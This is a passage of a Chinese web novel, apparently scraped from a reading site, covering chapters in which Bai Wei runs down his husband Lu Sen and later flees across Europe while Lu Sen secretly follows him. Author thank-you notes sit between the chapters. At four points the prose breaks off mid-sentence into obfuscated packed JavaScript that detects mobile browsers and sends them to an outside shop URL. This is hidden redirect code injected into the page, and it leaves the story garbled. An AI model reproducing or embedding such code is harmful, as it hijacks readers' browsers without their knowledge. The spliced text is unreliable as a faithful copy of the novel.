李愿:“哦谢家出了几个问题集团的股价狂跌谢镜宇被气得要命进了医院里面还有他和你的那通通话的功劳。要知道他可是不遗余力地在阻拦北都文化。他原本是想说服你结果快被你气死过去。” 他根本没有和谢镜宇打过电话! 在摔上电话的那一刻白唯什么都明白了。卢森去北都的一个原因竟然是因为这个。他背着他干了这么多事 他的脸上有空茫有震惊有惊悚也有愤怒。最终他气得大吼了一声。 然后将桌子上的花瓶相框等东西全部扔到了地上摔碎。 白唯在家里乒乒乓乓砸了一通。终于他在一堆碎片里坐下任由各种复杂的感情将他吞没。 最终他从家里翻出了卢森修车店的钥匙走了出去。 “白唯你大晚上的去哪里呀?”旁边的会计太太问他却被白唯的正脸吓了一跳。 她第一次看见白唯这样冷酷的模样。 “去卢森的修车店。”白唯转过头面无表情地说。 “哦……你也别太担心了。但如果修车店里能找到线索就最好了。”会计太太友善地提醒他却觉得自己害怕得话都快 说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272182|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完“你可以看看他的电脑万一里面有线索呢?” “我会的。”白唯如是说。 他驾驶另一辆车开过雪山镇的大街小巷。路灯映照着他的脸他俊美的五官之中毫无情感却又时而扭曲。 终于两个月没有人来过的修车店出现在他眼前。 白唯用钥匙开门。在开灯的瞬间他看见满屋的照片。卢森竟然把他们的合照也在这里复制了一份并且到处摆满。 他宁愿关掉灯用手电筒照亮方向也不想看见这些东西。 他直奔卢森的电脑。在原定的计划里白唯也在报警前来卢森的修车店里处理一些不合适被警方发现的东西的。这是为了不引起不必要的麻烦。 但今天显然他不是为了这个而来的。 电脑蓝屏幽幽闪耀需要密码进入。白唯用了自己的生日 “270920”。 他又输入了那个意味不明的数字。 电脑启动。 电脑桌面湛蓝。白唯看着它也不知道自己是来这里寻求一个什么解答——在卢森死后。他在电脑里翻来覆去只看见卢森一堆做假账的证明。 但在他发现一套隐藏的系统之后一切都变了。 电脑界面焕然一新。在隐藏的系统里白唯发现了一个邮箱。 邮箱里面躺满了各种各样的邮件。其中几封甚至是北都文化发过来的。 是那些合同。 卢森原本打算怎么告诉他这件事?打算怎么让他不知不觉地认为事情已经被他自己解决了? 如果卢森……没有死掉的话? 白唯目睹着这些邮件。他忽然开始冷笑一声又一声最终变得像是在哭一样但又绝对不是哭。就在这时他看见一个聊天软件开始闪烁。 这是隐藏系统里的聊天软件。 有人在给卢森发消息。白唯打开它发现里面只有几个寥寥可数的消息。 最顶上的一条是:“老哥。你的手长出来没?” 白唯克制不住地往上滑。他看见卢森在和那个人商量去北都的计划这一切都不像他平时看到的卢森。 可真正让他手脚发凉的是一段对话。 黑港城。 9月20日。 白唯甩开电脑。他起身像是被火烫到一样关掉了电源。他回到车上在车子里又开始冷笑而后他开始流泪。 “你已经死了。”他告诉自己“但你已经死了。” 他又开车回到家里表情麻木不仁。此时是深夜月明星稀。 当小屋的轮廓出现在眼前时白唯的车灯忽然照亮了一个人影。 英俊的眉眼高大的身体是卢森。 卢森向着车子挥手他喊着白唯的名字很高兴似乎想说什么。而白唯的眼睛直直地、直直地看着他。 忽然他面容彻底扭曲将油门踩到了底。 “去死吧!!” 作者有话要说 感谢在2024-08-1117:02:29~2024-08-1118:04:54期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:你真的太短了20瓶;此去经年10瓶;你说啥?3瓶;赋清流、一个斯帕纳、雾岚1瓶; 非常感谢大家对我的支持我会继续努力的! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第 65 章 奖励和请求 第65章奖励和请求 “砰!” “砰!” “砰!” 花坛倒塌,车头凹陷,暗红的花墙垂落,露出深灰色的、铁青的墙面。白唯一遍又一遍,倒车,撞击,将他眼前的一切撞成碎片。 杀了他吧。从此,他再也不能自作主张。他再也不能装成你去解决出版社的问题,冒充你去为你自以为是,用你的声音去和其他人打电话。 杀了他吧。从此,他再也不能随意更改你的记忆,让你周围的世界都陷入异常的认知。让你本该平常无奇的日常,变成总有不明事件忽然发生的恐怖电影。 杀了他吧,就像你们初遇时那样。从此黑港城的梦魇再也无法纠缠你,你终于解决了让你仓皇逃离黑港城的失败。 你人生的一切失控因素都是来自于他,你人生的一切异常都是来自于他,你的失败,你的逃离,你本该接受却冲动放弃的一切,你的…… 杀了他吧。从此他再也不会充满秘密,带着谜团在你的生活中突然出现又消失,他对你的黑历史与过去了如指掌而你对他的身份与过去一无所知。他随时随地都可以离开你因为各种你无法了解的理由无法掌控的势力。他逃离你制造的死亡无数次不交代他的过往无数次,你除了杀死他仿佛其他一切都无计可施。 杀了他吧。从此,他再也不会在你不知道的地方,死在别人的手里,带给你无穷无尽的麻烦。 他是不稳定的,不存在的幻影,只有他死掉,他才能稳固地,永久地存在于这里。而你,也终于能够面对那具稳定存在着的尸体,对于存在着的物件,详细地描摹着、守候着自己的感受。 你恨他,你被他又一次愚弄了,你恨他。 发动机在长夜里发出一声哀鸣。白唯停下汽车,尾气管代替他叹息。 他默默地、默默地看着车头与墙壁之间。玫瑰与墙皮一起被碾碎成了烂泥,连同暗红的土壤,臃肿的肉泥。 空气里飘散着花朵被碾碎的香气。 他没有收拾现场,而是如一个游魂一般,把自己黑色的领花扔在了地上。他像是用脚尖走路一般地,幽幽地回到了屋子里。 他没有收拾行李,也没有开灯, 也不打算离开。他雪白的身体躺在暗红的床单上闭上眼睛睡着了。 这栋楼房又恢复了寂静。就在两小时后有人提着灯拎着一个麻袋哆哆嗦嗦地绕着小路走到了他家的院子里。 我的天哪……原来出轨的男人会有这样的下场。 可作为妻子难道都不收拾一下的吗?白唯当然可以立刻跑掉可他的房产他的房价又该怎么办? 谁会买下凶宅旁边的房子? 他戴着塑胶手套鞋套发套手里还握着一把铲子。他小心翼翼地来到倒塌的花墙旁咽了一口口水最终他看着眼前的一切想起了前妻和孩子的脸。 他咽了一口口水。最终他鼓起勇气咬着牙用铲子铲下一团“泥巴”想把它倒进袋子里。 就在这时他发现泥巴的数量好像少了一点。那人疑心自己眼花就在这时他的背后被人拍了拍。 强烈的危机感席卷了他他战战兢兢地回头看见卢森正微笑着看着他。 …… 一个月没换的床单上没有卢森的气息洗衣凝珠的香味也早早散去。白唯在早上九点睁开双眼。 鼻尖闻到了一个男人的气息很熟悉。 一只手压在他的腰腹部上。 白唯抬眼 “早上好亲爱的。我昨天晚上回来了。” “……” 白唯双眼一眨也不眨地盯着他。 “昨天晚上我回来了你很高兴我还带了一瓶当地的特产草药酒回来和一些蘑菇沙拉和蘑菇刺身。我们喝了这些酒又把这些蘑菇刺身拌了酱油吃了。我看到了很多在家里跑来跑去的小人。当我在花园里醒过来时你已经上楼去睡觉了。” “……” “你也看见小人了吗?你有看见我吗?” 卢森用鼻子来碰他的鼻子亲昵地说。 卢森的皮肤光洁如新让人完全看不出曾碎裂又重新融合的痕迹。他抱着白唯的手臂也健美又有力只有手心像婴儿一样光滑。 白唯没有说一句话。他慢慢地、坚定地把卢森的手臂从他的身上挪下来爬下床走进洗手间。 他洗漱完又推开了 从背后抱住他的卢森,下楼。客厅餐桌上,还摆着几盘蘑菇。有的是蘑菇沙拉,有的是蘑菇刺身,还有半盘炒得脆生生的、比许三观炒猪肝的次数还要少的蘑菇片。 一瓶草药酒也摆在桌子上。酒的说明上写着:“存在部分有致幻作用的草药 两个空掉的酒杯放在旁边。 他坐在沙发上,清晨的阳光亮得晃眼,将室内照成一片明晃晃的雪盲的白。卢森哼着歌,在厨房里洗锅,把糊掉的蘑菇一点点从锅上铲掉。 如果不是因为他是白唯——如果不是因为白唯记得所有的异常,如果不是因为白唯始终坚定地相信着自己。 如果换了一个人在这里,他也会相信,昨晚所发生的一切,只是他吃了毒蘑菇之后产生的妄想。 或许我该问问,他去北都做了什么。 问问这些,他总会露出蛛丝马迹的。那时候,他便不得不承认,他是一只怪物。 白唯心里这样想着。可它只是浅浅一层的想法,像是蛋糕上的一点抹茶粉,影响不了整体的芝士味道。他的大脑清醒,嘴巴的肌肉却事与愿违地沉默着。 卢森去家门口取了牛奶又回来。白唯还是坐在沙发上,就像根本没注意到他什么时候出去、又什么时候回来的。 “刚才超市老板也出门来取牛奶。他说最近镇子上有些传闻,说我在外面出轨了。这都是没影的事,这些人怎么能乱说呢? 你的确没出轨,你只是简简单单地死在外面了,而已。 “只是因为有事情耽搁,我才在外面多待了半个月。卢森说,“虽然我昨天已经说过一遍,但考虑到我们都吃蘑菇产生幻觉了,所以今天我再提一次……亲爱的,这两个月,你是不是被吓坏了? 卢森去拥抱白唯。他发现,白唯冷得像冰。 过去,白唯有时候会拒绝他的拥抱。可他推开卢森的动作是激烈的、温热的、包含着不甘心的感情的。可此刻,白唯虽然没有推开他,可他的眼睛也没有看向卢森。 卢森有些讷讷的。这时,他裤兜里的电话响了起来。卢森拿起电话正要接,而后发现,他手里的手机是蓝色的。 这不是“卢森的手机,而是怪物雇佣兵的手机。这些日子,他靠这部手机和他的佣兵们联系。 “我……” “你去外面接一下吧。”白唯说。 卢森点点头。他的大脑还在疯狂思考三个问题,一是白唯为什么要撞他,二是白唯现在相信了他的谎言么,三是他还想和白唯温存一番……老实说,他也有点绷不住了。 他的心里藏着许多委屈和不甘。 他辛辛苦苦地溜回海里,让自己的身体重新长回来,在手机传来修车店电脑被打开的提示后更加快马加鞭地赶回家里。 他拼了命地想回来,白唯却撞他。 如果白唯现在哭着亲他三下,他就原谅白唯。要不然,亲五下好了。 可就在这时,他听见白唯说:“我忘了,你再说一遍,那半个月你去哪里了?” 卢森愣了愣,而后,他说:“我回法国去拿亲戚家的遗产了。在法国落地时我才发现手机没开国际漫游,然后又被亲戚们缠住……所以没有联系你。” “你有受伤吗?” 卢森本不想承认。他不想让白唯担心,可一句话从他的嘴里飘了出来:“有……手受了点伤,进了趟医院。” “只是手吗?” “只是手。” 卢森去接电话了,站在花园的角落里。白唯上楼。他从床底下翻出枪来,这次,枪里装了□□。 然而许久之后,白唯终于站在窗前。他看着窗下打电话的卢森。阳光照在他英俊的脸上,就好像他离开家里时那样。 院子里的高压水枪,旁边架子上的钉枪,卢森头上的空调外机,有那么多可以引发意外的东西存在。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但他一定会用漫长时光来治愈这些。他们从今往后会幸福地在一起。卢森甚至想,在解决掉白唯的问题前,他是不会去找那些殴打追逐他的怪人复仇的。 很快,卢森就迎来了他的奖励,和一个他没想到的、白唯的请求。 作者有话要说 感谢在2024-08-1118:04:54~2024-08-1219:27:24期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:李有病、suansuanchuchu、毛血旺好好食1个; 感谢灌溉营养液的小天使:啊126瓶;牛肉绿豆汤123瓶;呼云溯111瓶;七11194瓶;脆皮鸭使我快乐72瓶;不是我66瓶;今天你大失败了吗?54瓶;战斗的白切鸡50瓶;Tayiu46瓶;保持一米距离、冷翡40瓶;熬夜伤身体38瓶;尘风起24瓶;虫疑22瓶;海枯荣、莘安、鹿 珺、一个亲爱的无名人士、酱油党、粉系少女、夏天竹子脆、超低空飞行20瓶;桑榆非晚、246的旺财18瓶;soul16瓶;超级无敌霹雳大腚12瓶;人生海海、24466081、十三夜白、老鱿鱼、敬木青、爱吃白菜、一个保守的姐姐、太常大人、啥???、叶烛、阿秋、爬六楼真的超累、Kyabia、阿树、卿卿、吃百家饭长大的吗喽、皮皮虾10瓶;鱼鱼萌F9瓶;叶瑄啾咪、是阿蕊也是阿芯、舟洲昼、子衿、那个小明5瓶;长柒_、欲解其中味、骑着小毛驴3瓶;sai、瑞、冰冰糖啵啵鱼、Hyena、究惑久久、亭台楼榭2瓶;72044130、朗、68669210、莫里奥、不想拯救地球、一个斯帕纳、赋清流、我爱玩以闪亮之名、为所爱执着的痛~、疏霓、知我春秋、介凉丰、时闻、五夏绝配、西顾、呜呜呀、咕枯、s呀b呀jj、我不管,我嗑的cp一定、阳和启蛰、啵赞天天见、小血砸、69649237、青舟、小仙桔、我说不言语云无归处、脂肪丝神经团、58037723、小米1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 66 章 卢森的弱点 第66章卢森的弱点 卢森觉得白唯对他冷淡许多天。 他从北都回来。除去第一天白唯开车撞他,他们在那之后的生活从行动上来看,好似又步入正轨。他们还是会一起逛街、吃饭,甚至会一起整理花园,购买家具,布置民宿,向周围的人解释卢森两个月没回家的传闻。 可卢森总觉得,事情和两个月前不一样了。 他因此小心翼翼的,甚至一直没敢和白唯提出过夫夫生活的要求。卢森把一切的精力都用在了和白唯一起修整他的民宿上。这让他理所当然地有和白唯一起工作、在吃饭时谈起这份工作的机会。卢森喜欢看着他和白唯的劳动成果在他们的手里雕琢成型,这给他一种这是他们的“爱情结晶”的感觉。 往后,所有入住这家民宿的人都会记住,这是一家非常美的民宿。它的主人是一对非常恩爱的夫夫。 而且最近魏连和乔敏开始备孕了。也是从这时卢森才知道,原来在人类中,只有雌性才能孕育孩子。他原本以为人类夫妻也可以像海马一样!毕竟他见过很多大着肚子的人类男人! 原来,白唯并不能怀孕! 卢森曾无比地想要建立一个传统人类定义上的一家三口的家庭,然而随着生活的进程在推进,他渐渐发现在人类的观念里,男人不能做妻子,也不能怀孕,而白唯本人也并不是一个如他外表这般“完美”的人。 他原本以为,在知道这一件事后他会十分沮丧。可卢森没想到的事,他竟然松了口气,很高兴。 他们的家就该是这样的,异常又让人自豪,和别的人类的家庭组合完全不一样!即使这样,他们也幸福得令所有人嫉妒,这难道不应该更值得他高兴吗? 而且这间民宿已经是他们的爱情结晶了! 在卢森告诉白唯民宿已经装修好的那个晚上,卢森又获得了一个让他意想不到的惊喜。 白唯竟然主动要和他做! 吃晚饭时他总觉得白唯有意无意地在瞟他,表情有点欲说还休的意思。卢森原本以为是自己看错了。可当他吃完饭,准备收拾餐具路过白唯时,发现白唯竟然用脚刻意地勾了他一下。 卢森心跳如雷。他看见白唯白生生地坐在桌旁, 单手支着下巴。白唯的五官本来有种冰雪雕刻的质感,骨骼也像是玉砌出来的,精致但冰冰凉凉,不是那么适合拥抱的、是有些硌手艺术品。 可暖黄灯光打在白唯的脸上,衬着阴影和室内英国梨的香气,白唯的皮肤就像快融化的雪一样,莹润,活色生香。 而且很快要化成牛奶,从袖子里倒在他身上了。 卢森努力保持正经。万一直接动手动脚又让白唯生气了怎么办。 但等他收拾完回房间时,又得到了白唯的邀请。 白唯已经躺在被子里了,上挑的猫眼挑着他:“快去洗澡,我洗好了,在等你。 他把下半张脸也埋在被子里,非常惹人怜爱。 卢森就在那一刻觉得自己要爆炸了——白唯缩在被子里还有什么原因?肯定是因为他没穿衣服! 而且在等他! 卢森洗了个十分钟的,然后很快扑了过来。在他压上去时,白唯也把手臂环在了他的背上。 和过去白唯总是生涩又紧张羞涩不同,现在白唯像是已经被他自己的欲/望催熟了,变成了一个甜香流蜜的果子。 他们在这个周五的晚上和这个周末胡搞了一大通。周日傍晚时,白唯依偎在卢森的怀里。他半眯着眼,有点懒洋洋的,像是吃饱了在犯困。 卢森则是吃饱了还想吃,完全没有掩饰自己眼里的欲/望和攻击性,食欲十足。 白唯任由他抚摸自己的后颈和后背。他哑哑地提出了自己的需求。 “我下周要出去一趟。 “去哪里?我和你一起。 卢森立刻说。 “你别和我一起,我要回我祖父家里。白唯说。 “为什么不能一起…… “他看见你一定会很生气。 好吧。卢森理解了。他老婆想要一个人回娘家去。 “我可以送你,不跟着你进去。卢森道。 “别费事了。民宿不是马上要开张了么?你都已经把广告挂在网上了。白唯说,“等我回来,我要看看有没有客人来。你得在家里接待他们。 好吧。 卢森又道:“你要去多久? “一个星期。白唯说。 卢森磨磨唧唧,总算是答 应了。白唯也算是松了一口气因为这本来就是他计划中的一环。 用民宿绊住卢森寻找离开的机会。反正卢森提到过那么多次他对民宿的在意。白唯觉得这个计划不错。 他将以回白家的理由去其他地方。在一周后他会先找理由告诉卢森自己迟归家的原因卢森因为之前迟到半个月肯定也不敢说什么。然后他就会告诉卢森他在旅行的过程中获得了灵感又开始写作。 为了他自己的事业考虑他要从此做一个旅行作家。 他会随时给卢森寄明信片的反正明信片也不值几个钱。而后他不仅可以不和卢森见面在外人眼中他们也没有离婚而是拥有一段候鸟与南方小岛一样的诗意爱情。 可他没想到卢森完全怀有另一种想法。 民宿算什么反正不过是用来洗钱的。卢森才不在意它的营业额。 他反而只觉得白唯的离开给他一种不好的预感。这让他觉得很阴郁并下定决心要跟上。 第三天一早白唯出发。他在阶梯上吻别了卢森带着一个小箱子坐上了自己的汽车。 这是蓄谋已久的道别所以白唯并没有拿什么东西。即使在离开时 但这到底是必要的牺牲。 他驶离街区并时刻注意卢森在后视镜里仍然在门口对他挥手。但很快二十分钟后在外面绕了个圈的白唯又回来了。 他在开到家里2分钟前面无表情地给卢森打电话:“我发现我有东西忘拿了你在家吗?” 电话最开始无人接听。一分钟后才有人说:“哦我在你等下我一会儿下来开门。” 白唯挂掉电话那种不好的感觉越来越浓重。他停下车此刻一个趴在他的车顶的透明怪物以最快的速度窜上了楼。 白唯在门口等待眼睛看着所有出入口。卢森很快来开门。他对白唯满脸笑意:“亲爱的你什么东西忘拿了?” “一个文件夹。”白唯说。 他去书房拿文件夹顺便还去别的地方也逛了一圈。在看见一楼浴室窗台时白唯心里一沉。他看见窗户开着窗台上有明显的刚刚被爬过的痕迹。 虽然不知道 卢森是怎么做到的。但很明显他被跟踪了! 他就知道卢森不会那么容易放走他! 白唯拿了东西和卢森又交换了一个吻继续开车离开。开到一半他忽然开始刻意地加速减速四处绕行急转弯想要甩掉后面的跟车。 可他怎么看后面都没有车在跟。这让白唯又紧张又疑惑。 与此同时扒在地盘上的卢森已经快被甩吐了。他努力地又爬到了车顶上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481495|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白唯把车停在机场在候机室里等候片刻后他拿到了所有乘客的身份资料。每个乘客都姓名身份证号俱全看起来不可疑又极度可疑。他斟酌片刻在登机前十分钟忽然更换了另一个航班。 他没有飞向青禾而是飞向国外的一个小镇。白唯确信卢森没有通往那个国家的护照。 新航班也是二十分钟后登机。白唯卡在了最后的购买限制时间点上。终于他坐上飞机把自己的行李箱放在头顶。 但白唯还想验证一下。他盯了会儿手机没有这时候给卢森打电话。 相反他在这长达八小时的航班起飞后注册了机上wifi。 机上Wifi需要乘客才能开通而且按照这个航空公司的要求白唯需要和空姐先进行申请然后才能在她的协助下拥有wifi。飞机一条过道从头通到尾不存在机上其他乘客开通了wifi却没有被白唯看见的可能。 白唯就在这时连上了Wifi。他开始给卢森发消息。 “亲爱的我上飞机了你在干什么?” 简简单单一句话透露着森森的冷。 卢森向来都是秒回白唯消息尤其他今天“一定在民宿或者修车店里”。但半个小时后白唯的信息还没有任何回答。 白唯就在这时冷笑一声。接下来他打开拨号页面开始给卢森打网络电话。 “你所拨打的用户不在服务区。” 卢森不在服务区还能在哪里? 答案很明显天上! 白唯觉得毛骨悚然。他的直觉告诉他卢森又一次跟上了他而且就在这个飞机上 的。 卢森无所不能,他杀不死,能攀附在他的汽车上,能用超能力洗脑别人,能死都不会放过他。可卢森终究还是有一项缺陷,这成为了卢森唯一的破绽。 那就是,卢森暂时还不会发射信号,他没办法成为一个能在高空发射wifi的路由器,或者一个猫! 而这成为了卢森被发现跟踪的弱点! 但接下来该怎么办?白唯脑袋疯狂运转着。 作者有话要说 感谢在2024-08-1219:27:24~2024-08-1400:00:35期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:灰魔法师1个; 感谢投出地雷的小天使:292080001个; 感谢灌溉营养液的小天使:松乔150瓶;天木仟110瓶;W58瓶;保持一米距离56瓶;嘟嘟40瓶;狗狗酱33瓶;非吾所依32瓶;你真的太短了、鹿鸣、56168381、惊蛰、小皖小皖起床不晚、兔式咖啡、金牌辅助本助、*★噗噗★*、久久20瓶;随便吧、Interesting16瓶;游、九鹿13瓶;椿灰染紫色、问鼎汤圆、从言、一条?、Doramon、未完无续、复工后、沐希10瓶;醉逍遥9瓶;猫猫无敌可爱、超级无敌霹雳大腚、春山晓月8瓶;人生海海7瓶;一位霸总、危摘星、肥肉迷路了、布和棉花的兔子6瓶;知更鸟、Hyena、M.Y5瓶;究惑久久、瑞、壹仟贰3瓶;咕枯、小米、亭台楼榭2瓶;suansuanchuchu、小血砸、ahhhh、西顾、不爱了是你的谜底、我爱玩以闪亮之名、朗、我说不言语云无归处、牛紫文gh、我不管,我嗑的cp一定、怎么还不能改名、与共、哟哟哟、哀弥夜、予鹤、莫提雅、小小摸鱼家、呜呜呀、猫猫嘻嘻、介凉丰、小陆0、又菜又挑日常挨饿.jpg、sai1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 67 章 蜜月行 第67章蜜月行 “卡布奇诺,谢谢。” 白唯提着行李箱通过海关。在机场,他若无其事地购买了一杯星巴克,和一份当地报纸。 他的眼睛若有若无地在周围所有人身上逡巡。 他的电话就在此刻响了起来:“亲爱的,我刚才在家里睡了一觉,没看见你的消息。你已经到家了吗?” 八小时睡眠是吗,真亏他想得出来。白唯在心里冷笑,他嘴上说:“到了。” “祖父他身体怎么样?有对你生气吗?” “他身体还好。” 两个人虚情假意地问候着彼此。一个明明知道对方没有回去,另一个明明知道另一方在跟踪自己。在挂掉电话前,卢森意味深长地说:“亲爱的,如果有什么自己处理不了的事,你一定要和我说啊。” “我会的。”白唯道。 “那就好。”卢森说,“我不希望你被牵扯到什么你解决不了的麻烦里……然后一个星期后也没办法回来。” 白唯把电话掐了。 这里的天气还挺寒冷的。白唯临时买了件羽绒服,顺便去一家馆子点了些当地颇负盛名的烤肉、鱼子酱和甜菜汤。 他在靠窗的位置坐着,疑心卢森总是要吃饭的。卢森现在究竟是藏在哪个下水道里跟着他,还是在周围的哪家餐厅里吃饭呢? 白唯理解了。他不能指望在当地游览的过程里把看不见的卢森甩掉。即使如此,他也会努力往人堆里钻,就为了给卢森带来点跟踪上的麻烦。 这几天,他一路往人最多的地方钻。什么冰雕展,艺术馆,遗址,而且不停地买小零食吃。终于,在他于无人处拆开一只雪糕时,他好像听见了吞口水的声音。 就在旁边的井盖下! 白唯当场窜起。原本想要向白唯搭讪的一个女人就这么眼睁睁地看着她看好的俊秀男人突然发癫,开始徒手掀一个废弃井盖……她吓得赶紧跑了。 井盖里一无所获。白唯当即打车,冲进了人最多的商场。今日商场在大酬宾,里面全是游客和当地居民。 十分钟后,白唯从后面的小门出来。他换了一身衣服,换了个箱子,还换了个帽子。他以最快的速度奔赴机场 。 下一个国家! 登上飞机后白唯并没有松一口气。他在空中又给卢森发消息:“看到了回我一下。” 对面一片死寂。 真该死啊!卢森大概的确又跟上了! 白唯用力地砸了一下桌板。旁边的乘客被吓到以为他将是一个精神不稳定的劫机犯被白唯瞪了回去。 白唯这辈子从来没有这样无理取闹歇斯底里过。他觉得这都是卢森的问题。 在落地德国机场时卢森的电话又打过来了:“亲爱的这几天你在家玩得开心吗?” 你这个可恨的偷渡客有没有海关来管管他啊?白唯在电话里说:“这几天你在家玩得开心吗?” “我?还可以吧。没有你的日子每天都像吃黑面包一样难熬。” 白唯:“好的。” “亲爱的你还有两天就要回来了吧?”卢森说。 “我祖父很想念我。他让我在家里再住半个月。”白唯说完挂掉了电话。 他在撒谎他知道他在撒谎他知道他知道他在撒谎……世界上怎么会有这么黄雀在后的事。 白唯在当地吃了一些酸菜烤肘子鲱鱼和煎香肠之类的。每一顿都让他恶狠狠地想着卢森此刻肯定光看不能吃。他也跑去了一些游客很多的地方可恨的是安检机器从来没检测出来有神秘的生物通过它。 白唯就在这时想好了自己的下个旅行点。 西班牙! 白唯这次没坐飞机而是坐火车又自驾。他在西班牙又是继续吃。他吃海鲜饭吃煮章鱼吃火腿和炖鱿鱼。这次他在旅馆房间里撒了一地盐。第二天一早他果然看见地上有人爬过的痕迹。 卢森!! 去梵蒂冈寻求宗教的力量这件事也被白唯做过了。再度踏上意大利的土地白唯心中只有复杂。而且在这之前他还去了一趟英国吃了三天英国菜这就让他感觉更加复杂了。 从梵蒂冈出来后白唯能感觉到又有东西跟上了他。随着他在外面的时间到达一个月的期限 。 离家出走一个月还撒谎你该回家了。 可白唯不想回家。 他最终又来到了那不勒斯卢森的埋骨之地。他在墓园附近逡巡一段时间又接到了卢森的电话。 “亲爱的。”卢森说“已经一个半月了你现在在哪里?” “什么在哪里?”白唯懒得理他。 “我去青禾了你根本不在你家里。” 什么去青禾屁话!卢森这段时间都在哪里难道白唯自己还不知道吗? 有小雨蒙蒙地落下白唯在一把大黑伞下看着不远处卢森的坟墓。这是属于异乡人的坟墓当地的神父仍然慷慨地帮助他下葬为他祈祷过。坟墓之上的泥土也没有被翻动过的痕迹。 “卢森。”白唯懒洋洋地、雾蒙蒙地说 “那么你想去哪里呢?我收拾好行李和你一起走。”卢森立刻道。 “不不是的。准确地来说是家庭生活不适合我。”白唯道“在我二十岁时我从来没想过会和一个人结婚。住在一起睡在一起每天都知道彼此吃了什么什么时候去厕所在开车时有乱打雨刮器的毛病看电视剧时会抖腿这太亲密了所有生活里的个人习惯都完全暴露在另一个人的视野里。” 卢森愣了一下:“这样不好么?夫妻之间都是这样的。” “我们了解彼此的生活习惯甚至可以通过生活习惯来巧妙地设置陷阱。可我了解你的过去你了解我的过去吗?”白唯反问。 我们了解彼此心里的秘密了解彼此都想着什么吗。 卢森这次沉默了很久很久。最终他说:“可是我们现在看起来很好。比雪山镇所有的家庭都好。” 好吧。白唯想。 他想起自己十八岁的时候了。那时候他在大学里有两个广为人知的明恋者——两个人都是漂亮的女孩子。她们一个脾气火爆一个落落大方。终于有一个女孩闯到他面前问他对自己到底有没有意思。 白唯说没有女孩也并不在意:“感情总是可以相处出来的嘛。” 白唯觉得这根本不可能。长久地和另一个人待在一起只会让他痛苦让他越来越在意自己的假面。他 完全无法想象,自己和另一个人组建一个有爱的家庭,就像正常的相爱的爱侣一样。而若说这只是出于资产重组的需要,他又完全不缺钱。 后来他听说这两个女孩都已经结婚了。一个的家庭很恩爱,另一个的家庭经常争吵。但她们都能勇敢地、毫无保留地把自己的爱表达给自己的丈夫、自己的孩子、自己的父母乃至于自己的朋友。就像她们在学校里时,也能勇敢地对白唯说“喜欢你那样。 白唯就在那一次次的想法里愈发觉得,自己不该和别人一起陷入一场家庭生活。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481496|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我想一个人出去走走,收集写作素材。偶尔,我会回家一会儿。白唯说。 “我好像明白你的意思了。卢森的声音却骤然变得森冷起来,“你想离开我,你想离婚,是吗? 一时间黑云翻滚,大雨倾盆而落。像是海神在愤怒咆哮。白唯握着手机,淡淡道:“不,我不会离婚。你知道的。 只有死亡能将我们分开。 他忽然意识到,自己只有靠特别的方法甩掉卢森了。 卢森对融入这个社会,做个正常人的需求比他想象中还要多、还要大。 “你就当我是心情不好吧。他最终说。 “……这次反而是卢森沉默着挂掉了电话。 白唯在这个下雨的夜晚走进了附近的一家酒馆。他坐在吧台角落,只是喝闷酒,却因为容貌显得非常显眼。酒一杯杯下肚,他的眼前也开始花。就在这时,几个小混混簇拥着一个混混上来,笑嘻嘻地说要送他去旅馆。 好吧,看这些人的表情,白唯就知道他们想干什么。 酒吧老板也没有阻拦的意思,估计是觉得犯不着为了一个外地客人得罪本地的混混。在众人蠢蠢欲动之际,白唯托着下巴,斜眼看着为首的混混道:“好啊,但只有你一个人能来。 混混头子露出了喜闻乐见的“你不早说的表情。他殷勤地扶白唯起来,要带他去附近的旅馆里。白唯就在等他背对自己的时候。他打算给他狠狠揍一顿,再把他塞进垃圾桶里。 然而忽然之间,那混混哀叫一声。他的身体像是不听使唤似的,向着楼梯边走去,顺着悬崖摔了下去。 “啊!!! 长长的尖叫声让白唯的酒都醒了 